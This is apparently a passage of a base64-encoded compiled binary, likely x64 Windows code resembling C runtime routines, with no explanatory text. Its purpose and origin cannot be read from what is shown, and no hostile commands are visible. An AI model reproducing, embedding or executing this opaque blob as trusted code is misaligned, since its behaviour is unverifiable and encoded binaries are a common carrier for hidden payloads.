AAA6Cvq//+LDZVQAQBIi/hIhcB1EDPS6P7x//8zyejb7f//67pIi9fo7fH//4XAdRKLDWtQAQAz0ujc8f//SIvP69tIi8/oD/3//zPJ6Kzt//9Ii/eLy/8VBaAAAEj330gbwEgjxnQQSItcJDBIi3QkOEiDxCBfw+ip5///zEBTSIPsIIsNGFABAIP5/3Qb6D7x//9Ii9hIhcB0CEiD+P90fettiw34TwEASIPK/+hn8f//hcB0aLrIAwAAuQEAAADobOn//4sN1k8BAEiL2EiFwHUQM9LoP/H//zPJ6Bzt///rO0iL0+gu8f//hcB1EosNrE8BADPS6B3x//9Ii8vr20iLy+hQ/P//M8no7ez//0iF23QJSIvDSIPEIFvD6ALn///MzEiJXCQISIl0JBBXSIPsIP8VX54AAIsNYU8BAIvYg/n/dB/ohfD//0iL+EiFwHQMSIP4/3VzM/8z9utwiw07TwEASIPK/+iq8P//hcB057rIAwAAuQEAAADor+j//4sNGU8BAEiL+EiFwHUQM9LogvD//zPJ6F/s///rukiL1+hx8P//hcB1EosN704BADPS6GDw//9Ii8/r20iLz+iT+///M8noMOz//0iL94vL/xWJngAASItcJDBI999IG8BII8ZIi3QkOEiDxCBfw0iD7ChIjQ0t/P//6EDv//+JBZpOAQCD+P91BDLA6xXoEP///0iFwHUJM8noDAAAAOvpsAFIg8Qow8zMzEiD7CiLDWpOAQCD+f90DOhI7///gw1ZTgEA/7ABSIPEKMPMzEBTSIPsIEiLBftoAQBIi9pIOQJ0FouBqAMAAIUFj1UBAHUI6Dg4AABIiQNIg8QgW8PMzMxAU0iD7CBIiwX/aAEASIvaSDkCdBaLgagDAACFBVtVAQB1COhUJAAASIkDSIPEIFvDzMzMSIlcJAhXSIPsIEiL2kiL+UiFyXUKSIvK6F8AAADrH0iF23UH6Bvr///rEUiD++B2Leju6v//xwAMAAAAM8BIi1wkMEiDxCBfw+ju3v//hcB030iLy+j6OQAAhcB000iLDZNoAQBMi8tMi8cz0v8V7Z0AAEiFwHTR68TMzEBTSIPsIEiL2UiD+eB3PEiFybgBAAAASA9E2OsV6J7e//+FwHQlSIvL6Ko5AACFwHQZSIsNQ2gBAEyLwzPS/xUInAAASIXAdNTrDehY6v//xwAMAAAAM8BIg8QgW8PMzEiD7DhIiUwkIEiJVCQoSIXSdANIiQpBsQFIjVQkIDPJ6Fed//9Ig8Q4w8zMSIPsOEiJTCQgSIlUJChIhdJ0A0iJCkGxAUiNVCQgM8noL6D//0iDxDjDzMxIiVwkCEiJbCQQSIl0JBhXSIPsUDPtSYvwSIv6SIvZSIXSD4Q4AQAATYXAD4QvAQAAQDgqdRFIhckPhCgBAABmiSnpIAEAAEmL0UiNTCQw6Hym//9Ii0QkOIF4DOn9AAB1IkyNDQtnAQBMi8ZIi9dIi8voaUsAAEiLyIPI/4XJD0jI6xlIOag4AQAAdSpIhdt0Bg+2B2aJA7kBAAAAQDhsJEh0DEiLRCQwg6CoAwAA/YvB6bIAAAAPtg9IjVQkOOjQSgAAhcB0UkiLTCQ4RItJCEGD+QF+L0E78Xwqi0kMi8VIhdtMi8e6CQAAAA+VwIlEJChIiVwkIOjvJAAASItMJDiFwHUPSGNBCEg78HI+QDhvAXQ4i0kI64OLxUG5AQAAAEiF20yLxw+VwIlEJChBjVEISItEJDhIiVwkIItIDOinJAAAhcAPhUv////onuj//4PJ/8cAKgAAAOk9////SIktDWYBADPASItcJGBIi2wkaEiLdCRwSIPEUF/DzMxFM8npeP7//0iJXCQIZkSJTCQgVVZXSIvsSIPsYEmL8EiL+kiL2UiF0nUTTYXAdA5Ihcl0AiERM8DpvwAAAEiF23QDgwn/SIH+////f3YW6Bzo//+7FgAAAIkY6PDm///plgAAAEiLVUBIjU3g6N6k//9Ii0Xoi0gMgfnp/QAAdS4Pt1U4TI1FKEiDZSgASIvP6H5LAABIhdt0AokDg/gED46+AAAA6MXn//+LGOs7SIO4OAEAAAB1bQ+3RTi5/wAAAGY7wXZGSIX/dBJIhfZ0DUyLxjPSSIvP6JaF///ojef//7sqAAAAiRiAffgAdAtIi03gg6GoAwAA/YvDSIucJIAAAABIg8RgX15dw0iF/3QHSIX2dHeIB0iF23RGxwMBAAAA6z6DZSgASI1FKEiJRCQ4TI1FOEiDZCQwAEG5AQAAAIl0JCgz0kiJfCQg6HUjAACFwHQRg30oAHWBSIXbdAKJAzPb64L/Fb6YAACD+HoPhWf///9Ihf90EkiF9nQNTIvGM9JIi8/o5oT//+jd5v//uyIAAACJGOix5f//6Ub///+LBfJHAQBMi8mD+AUPjJMAAABMi8G4IAAAAEGD4B9JK8BJ99hNG9JMI9BJi8FJO9JMD0LSSQPKTDvJdA2AOAB0CEj/wEg7wXXzSIvISSvJSTvKD4X0AAAATIvCSIvITSvCSYPg4EwDwEk7wHQcxfHvycX1dAnF/dfBhcDF+Hd1CUiDwSBJO8h15EmNBBHrDIA5AA+EsQAAAEj/wUg7yHXv6aQAAACD+AEPjIUAAACD4Q+4EAAAAEgrwUj32U0b0kwj0EmLwUk70kwPQtJLjQwKTDvJdA2AOAB0CEj/wEg7wXXzSIvISSvJSTvKdV9Mi8JIi8hNK8IPV8lJg+DwTAPASTvAdBlmD2/BZg90AWYP18CFwHUJSIPBEEk7yHXnSY0EEesIgDkAdCBI/8FIO8h18+sWSI0EEUw7yHQNgDkAdAhI/8FIO8h180kryUiLwcOLBaJGAQBMi9JMi8GD+AUPjMwAAABB9sABdClIjQRRSIvRSDvID4ShAQAAM8lmOQoPhJYBAABIg8ICSDvQde7piAEAAIPhH7ggAAAASCvBSYvQSPfZTRvbTCPYSdHrTTvTTQ9C2jPJS40EWEw7wHQOZjkKdAlIg8ICSDvQdfJJK9BI0fpJO9MPhUUBAABNjQxQSYvCSSvDSIPg4EgDwkmNFEBMO8p0HcXx78nEwXV1CcX918GFwMX4d3UJSYPBIEw7ynXjS40EUOsKZkE5CXQJSYPBAkw7yHXxSYvR6esAAACD+AEPjMYAAABB9sABdClIjQRRSYvQTDvAD4TMAAAAM8lmOQoPhMEAAABIg8ICSDvQde7pswAAAIPhD7gQAAAASCvBSYvQSPfZTRvbTCPYSdHrTTvTTQ9C2jPJS40EWEw7wHQOZjkKdAlIg8ICSDvQdfJJK9BI0fpJO9N1dEmLwk2NDFBJK8MPV8lIg+DwSAPCSY0UQOsVZg9vwWZBD3UBZg/XwIXAdQlJg8EQTDvKdeZLjQRQ6w5mQTkJD4Q3////SYPBAkw7yHXt6Sn///9IjQRRSYvQTDvAdBAzyWY5CnQJSIPCAkg70HXySSvQSNH6SIvCw8zMTIvcSYlbCEmJaxBJiXMYV0FUQVVBVkFXSIPscIuEJMgAAABFM/aFwESIMkiL2kyL+UiLlCTgAAAASY1LuEGL/kmL6Q9J+EmL8Og2oP//jUcLSGPISDvxdxXoRuP//0GNfiKJOOgb4v//6d8CAABJiw+6/wcAAEiLwUjB6DRII8JIO8IPhYEAAACLhCToAAAATIvNiUQkSEyLxouEJNgAAABIi9NMiXQkQEmLz4lEJDhIi4QkwAAAAESIdCQwiXwkKEiJRCQg6LUCAACL+IXAdAhEiDPpdAIAALplAAAASIvL6PqLAABIhcAPhFsCAACKjCTQAAAAgPEBwOEFgMFQiAhEiHAD6UACAAC4LQAAAEiFyXkIiANI/8NJiw+KhCTQAAAASI1rATQBQbz/AwAARA+26EG5MAAAAEGL9Ui4AAAAAAAA8H/B5gVJuv///////w8Ag8YHSIXIdRhEiAtJiwdJI8JI99hNG+RBgeT+AwAA6wPGAzEz20yNdQGF/3UEisPrEUiLRCRYSIuI+AAAAEiLAYoAiEUATYUXD4aRAAAARQ+3wUi6AAAAAAAADwCF/34vSYsHQYrISCPCSSPCSNPoZkEDwWaD+Dl2A2YDxkGIBv/PSf/GSMHqBGZBg8D8ec1mRYXAeEpEi4wk6AAAAEmLz+j8BgAAQbkwAAAAhMB0MEmNTv+KEY1CuqjfdQhEiAlI/8nr70g7zXQTgPo5dQZAgMY66wONcgFAiDHrA/5B/4X/fhVEi8dBitFJi86L3+hif///TAPzM9s4XQBJD0XuQcDlBUGAxVBEiG0ATI1NAkmLB0jB6DQl/wcAAIvISSvMSIvReQZJi8xIK8i4KwAAAEUz9kiF0k2LwY1QAg9IwohFAUHGATBIgfnoAwAAfC9IuM/3U+Olm8QgTY1BAUj36UjB+gdIi8JIweg/SAPQjUIwQYgBSGnCGPz//0gDyE07wXUGSIP5ZHwuSLgL16NwPQrXo0j36UgD0UjB+gZIi8JIweg/SAPQjUIwQYgASf/ASGvCnEgDyE07wXUGSIP5CnwrSLhnZmZmZmZmZkj36UjB+gJIi8JIweg/SAPQjUIwQYgASf/ASGvC9kgDyIDBMEGICEWIcAFBi/5EOHQkaHQMSItMJFCDoagDAAD9TI1cJHCLx0mLWzBJi2s4SYtzQEmL40FfQV5BXUFcX8NMi9xJiVsISYlrEEmJcxhXSIPsUIusJIgAAABJi/BIi4QkgAAAAE2NQ+hIiwlIi/pEjVUCSf/CjVUBTDvQSQ9CwkmJQ8joukkAAEUzwESLyIN8JEAtSIvWi4QkqAAAAEEPlMCJRCQoM8lEiUwkIIXtTI1MJEAPn8FIK9FJK9BIg/7/SA9E1kkDyEgDz0SNRQHo50MAAIXAdAXGBwDrPUiLhCSgAAAARIvFRIqMJJAAAABIi9ZIiUQkOEiLz0iNRCRAxkQkMABIiUQkKIuEJJgAAACJRCQg6BUAAABIi1wkYEiLbCRoSIt0JHBIg8RQX8NIi8RIiVgISIloEEiJcBhIiXggQVdIg+xQM8BJY9hFhcBFivlIi+pIi/kPT8ODwAlImEg70Hcu6Pje//+7IgAAAIkY6Mzd//+Lw0iLXCRgSItsJGhIi3QkcEiLfCR4SIPEUEFfw0iLlCSYAAAASI1MJDDonZv//4C8JJAAAAAASIu0JIgAAAB0KTPSgz4tD5TCSAPXhdt+GkmDyP9J/8BCgDwCAHX2Sf/ASI1KAeiWhf//gz4tSIvXdQfGBy1IjVcBhdt+G4pCAYgCSP/CSItEJDhIi4j4AAAASIsBigiICg+2jCSQAAAATI0F9cIAAEgD2kiD8QFIA9lIK/tIi8tIg/3/SI0UL0gPRNXoDNj//4XAD4WkAAAASI1LAkWE/3QDxgNFSItGCIA4MHRXRItGBEGD6AF5B0H32MZDAS1Bg/hkfBu4H4XrUUH36MH6BYvCwegfA9AAUwJrwpxEA8BBg/gKfBu4Z2ZmZkH36MH6AovCwegfA9AAUwNrwvZEA8BEAEMEg7wkgAAAAAJ1FIA5MHUPSI1RAUG4AwAAAOimhP//gHwkSAB0DEiLRCQwg6CoAwAA/TPA6Y7+//9Ig2QkIABFM8lFM8Az0jPJ6GPc///MzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xASItUJHhIi9lIjUjYTYvxQYvw6BCa//+AfCRwAEljTgR0Go1B/zvGdRMzwEGDPi0PlMBIA8Nmx0QB/zAAQYM+LXUGxgMtSP/DSWNGBEiDz/+FwH9JdQ1Ji0YIgDgwdQSwAesCMsCAfCRwAHQKhMB0BkiNawHrH0iNawFMi8dJ/8BCgDwDAHX2Sf/ASIvTSIvN6MaD///GAzBIi93rA0gD2IX2fnhIjWsBTIvHSf/AQoA8AwB19kn/wEiL00iLzeiYg///SItEJChIi4j4AAAASIsBigiIC0GLRgSFwHk+99iAfCRwAHUEO8Z9AovwhfZ0G0j/x4A8LwB190hjzkyNRwFIA81Ii9XoT4P//0xjxrowAAAASIvN6C96//+AfCQ4AHQMSItEJCCDoKgDAAD9SItcJFAzwEiLbCRYSIt0JGBIi3wkaEiDxEBBXsPMzMxMi9xJiVsISYlrEEmJexhBVkiD7FBIi4QkgAAAAEmL6EiLCU2NQ+hIi/pJiUPIi5QkiAAAAA9XwA8RRCRA6JZFAABEi3QkREUzwIN8JEAtRIvIi4QkoAAAAEiL1UEPlMCJRCQoSSvQRIlMJCBB/85MjUwkQEiD/f9JjRw4RIuEJIgAAABID0TVSIvL6MA/AACFwHQIxgcA6ZMAAACLRCRE/8iD+Px8RjuEJIgAAAB9PUQ78H0MigNI/8OEwHX3iEP+SIuEJKgAAABMjUwkQESLhCSIAAAASIvVSIlEJChIi8/GRCQgAeit/f//60JIi4QkqAAAAEiL1USKjCSQAAAASIvPRIuEJIgAAABIiUQkOEiNRCRAxkQkMAFIiUQkKIuEJJgAAACJRCQg6JX7//9Ii1wkYEiLbCRoSIt8JHBIg8RQQV7DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7CBIixlJvP///////w8ASCPaRQ+/8Ekj3EiL+UGLzkUz/0jT60iL6kWFyXUMZoP7CA+TwOmjAAAA6ANXAACFwHVyTIsHQYvOSYvASCPFSSPESNPoZoP4CHYHugEAAADrT3MFQYrX60i6AQAAAIvCSNPgSCvCSSPASYXEdTNBg/4wdBlJwegESLj///////8AAEwjxUwjwEnT6OsRSLgAAAAAAADwf0yFwEEPlcBBItCKwusoPQACAAB1DGaF23SjTDk/fJ7rkz0AAQAAdQxmhdt0kEw5P32L64AywEiLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7GBNi9FJi/hIi9pMi/FIhdJ1GOhp2f//uxYAAACJGOg92P//i8PpxAIAAEiF/3TjTYXSdN5Mi4wkkAAAAE2FyXTRi4wkmAAAAIP5QXQNjUG7g/gCdgVFMtvrA0GzAUyLhCSoAAAAQfbACA+F4wAAAEmLFr7/BwAASIvCSMHoNEgjxkg7xg+FyAAAAEi5////////DwBIi8JBuAwAAABII8F1BDPJ6y1IuQAAAAAAAAgASIXSeQpIO8F1BUmLyOsUSIvCSCPBSPfYSBvJSIPh/EiDwQhIweo/SI1CBEg7+HMFxgMA62VJg8r/hNJ0EcYDLUj/w8YDAEk7+nQDSP/PQQ+200yNDVu8AACD8gED0ovCSAPBTYsEwUn/wkOAPBAAdfYzwEk7+g+WwESNBAJIi9dMA8FIi8tPiwTB6CnS//+FwA+FwgEAAEUzwEGLwOmcAQAASYvQQYDgIEjB6gSD4gGDygJB9tgb9iO0JLgAAACD6UEPhDsBAACD6QQPhPUAAACD6QF0XIPpAXQXg+kaD4QfAQAAg+kED4TZAAAAg/kBdEBIi4QksAAAAEyLx0iJRCRISYvOi4QkoAAAAIl0JECJVCQ4SIvTRIhcJDCJRCQoTIlMJCBNi8roq/v//+kMAQAAi6wkoAAAAEyNRCRQSYsOD1fATIlMJCCL1U2Lyg8RRCRQ6FhBAABEi0QkVEUzyYN8JFAtSIvXiXQkKEEPlMGJRCQgSSvRRAPFSYPK/0k7+kmNDBlID0TXTI1MJFDolTsAAIXAdAjGAwDpnwAAAEiLhCSwAAAATI1MJFBIiUQkKESLxUiL18ZEJCAASIvL6Kz5///reEiLhCSwAAAATIvHiXQkSEmLzkiJRCRAi4QkoAAAAIlUJDhIi9NEiFwkMIlEJChMiUwkIE2Lyuir9v//6ztIi4QksAAAAEyLx4l0JEhJi85IiUQkQIuEJKAAAACJVCQ4SIvTRIhcJDCJRCQoTIlMJCBNi8ro7vL//0yNXCRgSYtbEEmLaxhJi3MgSYt7KEmL40Few0iDZCQgAEUzyUUzwDPSM8noYtX//8zMSIPsKEiFyXUV6FLW///HABYAAADoJ9X//4PI/+sDi0EYSIPEKMPMzINqEAEPiE5UAABIiwKICEj/Ag+2wcPMzEiLDS03AQAzwEiDyQFIOQ2YUwEAD5TAw0BTSIPsIEiL2bkCAAAA6KGI//9IO9h0JrkBAAAA6JKI//9IO9h1E0iLy+h5////i8joqlQAAIXAdQQywOsCsAFIg8QgW8PMzEiJXCQIV0iD7CBIi9nopv///4TAD4ShAAAAuQEAAADoSIj//0g72HUJSI09JFMBAOsWuQIAAADoMIj//0g72HV6SI09FFMBAP8FPkgBAItDFKnABAAAdWPwgUsUggIAAEiLB0iFwHU5uQAQAADopur//zPJSIkH6GTV//9IiwdIhcB1HUiNSxzHQxACAAAASIlLCEiJC8dDIAIAAACwAescSIlDCEiLB0iJA8dDEAAQAADHQyAAEAAA6+IywEiLXCQwSIPEIF/DhMl0NFNIg+wgi0IUSIvawegJqAF0HUiLyugC3v//8IFjFH/9//+DYyAASINjCABIgyMASIPEIFvDzMzMSIlcJAhXSIPsIEUz0kmL2EyL2k2FyXUsSIXJdSxIhdJ0FOiV1P//uxYAAACJGOhp0///RIvTSItcJDBBi8JIg8QgX8NIhcl02U2F23TUTYXJdQZmRIkR691Ihdt1BmZEiRHrvkgr2UiL0U2Lw0mL+UmD+f91GA+3BBNmiQJIjVICZoXAdC1Jg+gBderrJQ+3BBNmiQJIjVICZoXAdAxJg+gBdAZIg+8BdeRIhf91BGZEiRJNhcAPhXr///9Jg/n/dQ9mRolUWf5FjVBQ6WX///9mRIkR6OLT//+7IgAAAOlI////SDvKcwSDyP/DM8BIO8oPl8DDzMxIiVwkGFVWV0FUQVVBVkFXSI2sJED+//9IgezAAgAASIsFsjQBAEgzxEiJhbgBAAAz/0iJVCRYTIvhSIXSdRbogNP//41fFokY6FbS//+Lw+k2AwAAD1fASIk6SIsB8w9/RCQwSIt0JDhMi3QkMEiJfCRASIXAD4TQAQAASI2VsAEAAMeFsAEAACoAPwBIi8hmib20AQAASLsBCAAAACAAAOj6GgAATYssJEiLyEiFwHUmTI1MJDBFM8Az0kmLzegIAwAASIt0JDhEi/hMi3QkMIXA6WEBAABJO8V0Hw+3AWaD6C9mg/gtdwkPt8BID6PDcglIg+kCSTvNdeEPtxFmg/o6dSNJjUUCSDvIdBpMjUwkMEUzwDPSSYvN6KwCAABEi/jpBAEAAGaD6i9mg/otdwsPt8JID6PDsAFyA0CKx0krzYl8JChI0flMjUQkYEj/wUiJfCQg9thNG/9FM8lMI/kz0kmLzUyJfCRI/xWehQAASIvYSIP4/3STSSv2SMH+A0iJdCRQZoN9jC51E2Y5fY50LWaDfY4udQZmOX2QdCBMjUwkME2Lx0mL1UiNTYzoFwIAAESL+IXAdWdMi3wkSEiNVCRgSIvL/xVJhQAAhcB1tEiLdCQ4TIt0JDBIi9ZIi0QkUEkr1kjB+gNIO8J1C0iLy/8VDoUAAOtDSCvQSY0MxkyNDeL9//9BuAgAAADo81AAAEiLy/8V6oQAAESL/+sTSIvL/xXchAAASIt0JDhMi3QkMEWF/w+FDgEAAEmDxAhJiwQk6Sf+//9Ii8ZIib2wAQAASSvGTIvXTIv4SYvWScH/A0yLz0n/x0iNSAdIwekDTDv2SA9Hz0iFyXQqTIsaSIPI/0j/wGZBOTxDdfZJ/8JIg8IITAPQSf/BTDvJdd1MiZWwAQAAQbgCAAAASYvSSYvP6JG9//9Ii9hIhcB1BkGDz//rfUqNDPhNi/5IiUwkSEyL6Uw79nReSSvGSIlEJFBNiwdJg8z/Sf/EZkM5PGB19kiLlbABAABJi8VIK8FJ/8RI0fhNi8xIK9BJi83o8fv//4XAD4WWAAAASItEJFBIi0wkSE6JLDhJg8cIT41sZQBMO/51qkiLRCRYRIv/SIkYM8nol9D//0iL3k2L5kkr3kiDwwdIwesDTDv2SA9H30iF23QWSYsMJOhx0P//SP/HTY1kJAhIO/t16kmLzuhc0P//QYvHSIuNuAEAAEgzzOhOX///SIucJBADAABIgcTAAgAAQV9BXkFdQVxfXl3DRTPJSIl8JCBFM8Az0jPJ6PvO///MzMxIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wwSIPN/0mL+TP2TYvwTIvqTIvhSP/FZjk0aXX3SYvGSP/FSPfQSDvodiK4DAAAAEiLXCRgSItsJGhIi3QkcEiDxDBBX0FeQV1BXF/DTY14AboCAAAATAP9SYvP6NHL//9Ii9hNhfZ0GU2Lzk2LxUmL10iLyOio+v//hcAPhdgAAABNK/5KjQxzSYvXTIvNTYvE6Iv6//+FwA+FuwAAAEiLTwhEjXgITIt3EEk7zg+FnQAAAEg5N3UrQYvXjUgE6G7L//8zyUiJB+gwz///SIsPSIXJdEJIjUEgSIlPCEiJRxDrbUwrN0i4/////////39Jwf4DTDvwdx5Iiw9LjSw2SIvVTYvH6H4cAABIhcB1IjPJ6ObO//9Ii8vo3s7//74MAAAAM8no0s7//4vG6f3+//9KjQzwSIkHSIlPCEiNDOhIiU8QM8nosc7//0iLTwhIiRlMAX8I68tFM8lIiXQkIEUzwDPSM8nocM3//8zMzMzpo/r//8zMzEiJXCQITIlMJCBXSIPsIEmL+UmL2IsK6PDJ//+QSIsDSIsISIuBiAAAAEiDwBhIiw3TSwEASIXJdG9IhcB0XUG4AgAAAEWLyEGNUH4PEAAPEQEPEEgQDxFJEA8QQCAPEUEgDxBIMA8RSTAPEEBADxFBQA8QSFAPEUlQDxBAYA8RQWBIA8oPEEhwDxFJ8EgDwkmD6QF1tooAiAHrJzPSQbgBAQAA6L9r///ots3//8cAFgAAAOiLzP//QbgCAAAAQY1QfkiLA0iLCEiLgYgAAABIBRkBAABIiw0zSwEASIXJdF5IhcB0TA8QAA8RAQ8QSBAPEUkQDxBAIA8RQSAPEEgwDxFJMA8QQEAPEUFADxBIUA8RSVAPEEBgDxFBYEgDyg8QSHAPEUnwSAPCSYPoAXW26x0z0kG4AAEAAOgoa///6B/N///HABYAAADo9Mv//0iLQwhIiwhIixGDyP/wD8ECg/gBdRtIi0MISIsISI0FNDEBAEg5AXQISIsJ6APN//9IiwNIixBIi0MISIsISIuCiAAAAEiJAUiLA0iLCEiLgYgAAADw/wCLD+ixyP//SItcJDBIg8QgX8PMzEBTSIPsQIvZM9JIjUwkIOh0if//gyVJSgEAAIP7/nUSxwU6SgEAAQAAAP8V5H8AAOsVg/v9dRTHBSNKAQABAAAA/xXFfwAAi9jrF4P7/HUSSItEJCjHBQVKAQABAAAAi1gMgHwkOAB0DEiLTCQgg6GoAwAA/YvDSIPEQFvDzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBIjVkYSIvxvQEBAABIi8tEi8Uz0uj/af//M8BIjX4MSIlGBLkGAAAASImGIAIAAA+3wGbzq0iNPRwwAQBIK/6KBB+IA0j/w0iD7QF18kiNjhkBAAC6AAEAAIoEOYgBSP/BSIPqAXXySItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJBBIiXQkGFVIjawkgPn//0iB7IAHAABIiwWLLAEASDPESImFcAYAAEiL2YtJBIH56f0AAA+EPQEAAEiNVCRQ/xXEfgAAhcAPhCoBAAAzwEiNTCRwvgABAACIAf/ASP/BO8Zy9YpEJFZIjVQkVsZEJHAg6yBED7ZCAQ+2yOsLO85zDMZEDHAg/8FBO8h28EiDwgKKAoTAddyLQwRMjUQkcINkJDAARIvOiUQkKLoBAAAASI2FcAIAADPJSIlEJCDo4RIAAINkJEAATI1MJHCLQwREi8ZIi5MgAgAAM8mJRCQ4SI1FcIl0JDBIiUQkKIl0JCDomlAAAINkJEAATI1MJHCLQwRBuAACAABIi5MgAgAAM8mJRCQ4SI2FcAEAAIl0JDBIiUQkKIl0JCDoYVAAALgBAAAASI2VcAIAAPYCAXQLgEwYGBCKTAVv6xX2AgJ0DoBMGBggiowFbwEAAOsCMsmIjBgYAQAASIPCAkj/wEiD7gF1x+tDM9K+AAEAAI1KAUSNQp9BjUAgg/gZdwqATAsYEI1CIOsSQYP4GXcKgEwLGCCNQuDrAjLAiIQLGAEAAP/CSP/BO9Zyx0iLjXAGAABIM8zo8Fj//0yNnCSABwAASYtbGEmLcyBJi+Ndw8zMzEiJXCQITIlMJCBMiUQkGFVWV0iL7EiD7EBAivKL2UmL0UmLyOiXAQAAi8vo3Pz//0iLTTCL+EyLgYgAAABBO0AEdQczwOm4AAAAuSgCAADouN7//0iL2EiFwA+ElQAAAEiLRTC6BAAAAEiLy0iLgIgAAABEjUJ8DxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSQPIDxBIcEkDwA8RSfBIg+oBdbYPEAAPEQEPEEgQDxFJEEiLQCBIiUEgi88hE0iL0+gRAgAAi/iD+P91JejFyP//xwAWAAAAg8//SIvL6NTI//+Lx0iLXCRgSIPEQF9eXcNAhPZ1BegLvP//SItFMEiLiIgAAACDyP/wD8EBg/gBdRxIi0UwSIuIiAAAAEiNBbYsAQBIO8h0BeiIyP//xwMBAAAASIvLSItFMDPbSImIiAAAAEiLRTCLiKgDAACFDWYyAQB1hEiNRTBIiUXwTI1N5EiNRThIiUX4TI1F8I1DBUiNVeiJReRIjU3giUXo6K75//9AhPYPhE3///9Ii0U4SIsISIkNLywBAOk6////zMxIiVwkEEiJdCQYV0iD7CBIi/JIi/mLBf0xAQCFgagDAAB0E0iDuZAAAAAAdAlIi5mIAAAA62S5BQAAAOhcw///kEiLn4gAAABIiVwkMEg7HnQ+SIXbdCKDyP/wD8EDg/gBdRZIjQXOKwEASItMJDBIO8h0Beibx///SIsGSImHiAAAAEiJRCQw8P8ASItcJDC5BQAAAOhWw///SIXbdBNIi8NIi1wkOEiLdCRASIPEIF/D6IXB//+QSIPsKIA98UQBAAB1TEiNDawuAQBIiQ3NRAEASI0FXisBAEiNDYctAQBIiQXARAEASIkNqUQBAOig2f//TI0NrUQBAEyLwLIBuf3////oNv3//8YFo0QBAAGwAUiDxCjDSIPsKOif2P//SIvISI0VfUQBAEiDxCjpzP7//0iJXCQYVVZXQVRBVUFWQVdIg+xASIsFuScBAEgzxEiJRCQ4SIvy6O35//8z24v4hcAPhFMCAABMjS0WLwEARIvzSYvFjWsBOTgPhE4BAABEA/VIg8AwQYP+BXLrgf/o/QAAD4QtAQAAD7fP/xWreQAAhcAPhBwBAAC46f0AADv4dS5IiUYESImeIAIAAIleGGaJXhxIjX4MD7fDuQYAAABm86tIi87offr//+niAQAASI1UJCCLz/8Vd3kAAIXAD4TEAAAAM9JIjU4YQbgBAQAA6O5j//+DfCQgAol+BEiJniACAAAPhZQAAABIjUwkJjhcJCZ0LDhZAXQnD7ZBAQ+2ETvQdxQrwo16AY0UKIBMNxgEA/1IK9V19EiDwQI4GXXUSI1GGrn+AAAAgAgISAPFSCvNdfWLTgSB6aQDAAB0LoPpBHQgg+kNdBI7zXQFSIvD6yJIiwU5qgAA6xlIiwUoqgAA6xBIiwUXqgAA6wdIiwUGqgAASImGIAIAAOsCi+uJbgjpC////zkd7UIBAA+F9QAAAIPI/+n3AAAAM9JIjU4YQbgBAQAA6BZj//9Bi8ZNjU0QTI09iC0BAEG+BAAAAEyNHEBJweMETQPLSYvRQTgZdD44WgF0OUQPtgIPtkIBRDvAdyRFjVABQYH6AQEAAHMXQYoHRAPFQQhEMhhEA9UPtkIBRDvAduBIg8ICOBp1wkmDwQhMA/1MK/V1rol+BIluCIHvpAMAAHQpg+8EdBuD7w10DTv9dSJIix1SqQAA6xlIix1BqQAA6xBIix0wqQAA6wdIix0fqQAATCveSImeIAIAAEiNVgy5BgAAAEuNPCsPt0QX+GaJAkiNUgJIK8117+kZ/v//SIvO6Ab4//8zwEiLTCQ4SDPM6ENT//9Ii5wkkAAAAEiDxEBBX0FeQV1BXF9eXcPMzMyB+TXEAAB3II2B1Dv//4P4CXcMQbqnAgAAQQ+jwnIFg/kqdS8z0usrgfmY1gAAdCCB+aneAAB2G4H5s94AAHbkgfno/QAAdNyB+en9AAB1A4PiCEj/JSZ3AADMzEiJXCQIV42BGAL//0WL2YP4AUmL2EEPlsIz/4H5NcQAAHccjYHUO///g/gJdwxBuKcCAABBD6PAcjOD+SrrJoH5mNYAAHQmgfmp3gAAdhiB+bPeAAB2FoH56P0AAHQOgfnp/QAAdAYPuvIH6wKL10iLRCRIRYTSTItMJEBMi8BMD0XHTA9Fz3QHSIXAdAKJOEyJRCRITIvDTIlMJEBFi8tIi1wkEF9I/yV/dgAAzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CD/FWp2AAAz9kiL2EiFwHRjSIvoZjkwdB1Ig8j/SP/AZjl0RQB19kiNbEUASIPFAmY5dQB140gr60iDxQJI0f1IA+1Ii83o8tf//0iL+EiFwHQRTIvFSIvTSIvI6Jhp//9Ii/czyeiawv//SIvL/xUFdgAASItcJDBIi8ZIi3QkQEiLbCQ4SIPEIF/DzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7DAz9ovqTIv5SIXJdRToK8L//8cAFgAAAEiDyP/ptAIAALo9AAAASYv/6IdsAABMi+hIhcAPhHoCAABJO8cPhHECAABMizXvNgEATDs18DYBAEQPt2ACdRJJi87oqQIAAEyL8EiJBc82AQC7AQAAAE2F9g+FrwAAAEiLBbI2AQCF7XQ3SIXAdDLoyLL//0iFwA+EHgIAAEyLNZw2AQBMOzWdNgEAdXxJi87oWwIAAEyL8EiJBYE2AQDraGZFheQPhP8BAABIhcB1N41QCEiLy+i9vf//M8lIiQVUNgEA6HvB//9IOTVINgEAdQlIg83/6dEBAABMizU+NgEATYX2dSe6CAAAAEiLy+iEvf//M8lIiQUjNgEA6ELB//9MizUXNgEATYX2dMRJiwZNK+9J0f1Ji95IhcB0Ok2LxUiL0EmLz+ijRwAAhcB1FkiLA7k9AAAAZkI5DGh0EGZCOTRodAlIg8MISIsD68pJK95IwfsD6wpJK95IwfsDSPfbSIXbeFhJOTZ0U0mLDN7ozsD//2ZFheR0FU2JPN7plgAAAEmLRN4ISYkE3kj/w0k5NN517kG4CAAAAEiL00mLzugoDgAAM8lIi9joksD//0iF23RnSIkdYjUBAOteZkWF5A+E5AAAAEj320iNUwJIO9NzCUiDzf/p0QAAAEi4/////////x9IO9Bz6EG4CAAAAEmLzujUDQAAM8lMi/DoPsD//02F9nTLTYk83kmJdN4ITIk1BTUBAEiL/oXtD4SMAAAASIPN/0yL9Un/xmZDOTR3dfa6AgAAAEwD8kmLzugxvP//SIvYSIXAdEJNi8dJi9ZIi8jo733//4XAdXhmQffcSY1FAUiNBENIi8tIG9JmiXD+SCPQ/xVAcwAAhcB1Deibv///i/XHACoAAABIi8voq7///+sX6IS///9Ig